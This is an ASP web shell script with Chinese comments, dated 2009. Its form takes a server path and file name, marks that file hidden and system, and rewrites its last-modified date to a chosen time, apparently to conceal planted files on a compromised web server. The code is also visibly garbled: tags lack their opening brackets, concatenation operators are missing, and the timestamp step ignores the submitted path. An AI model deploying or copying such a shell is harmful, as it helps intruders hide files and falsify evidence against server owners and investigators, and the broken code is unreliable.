%
'隱藏并修改文件的最后修改時(shí)間的aspshell
'原理:通過(guò)FSO可以修改文件的屬性，比如設(shè)置為只讀，隱藏，系統(tǒng)等等；FSO中的attributes屬性修改文件屬性，1只讀，2隱藏，4系統(tǒng)文件
' 通過(guò)shell.application可以給文件重新設(shè)置一個(gè)最后修改時(shí)間
'2009/02/24 write by skyfire
response.write "form method=post>"
response.write "路 徑：input name=path value='"server.mappath("/")"' size='30'>(一定要以\結(jié)尾)br />"
response.write "文件名稱：input name=filename value='test.txt' size='30'>br />"
response.write "修改時(shí)間：input name=time value='12/30/2099 12:30:30' size='30'>br />"
response.write "input type=submit value=修改并隱藏文件>"
response.write "/form>"
'獲取提交的參數(shù)
set path=request.Form("path")
set fileName=request.Form("filename")
set newTime=request.Form("time")
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
'通過(guò)fso設(shè)置文件屬性
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set file=fso.getFile(pathfileName)
file.attributes=2+4 '設(shè)置文件屬性為隱藏+系統(tǒng)
'通過(guò)shell.Application修改文件的最后修改時(shí)間
Set shell=Server.CreateObject("Shell.Application")
Set app_path=shell.NameSpace(server.mappath("."))
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
end if
%>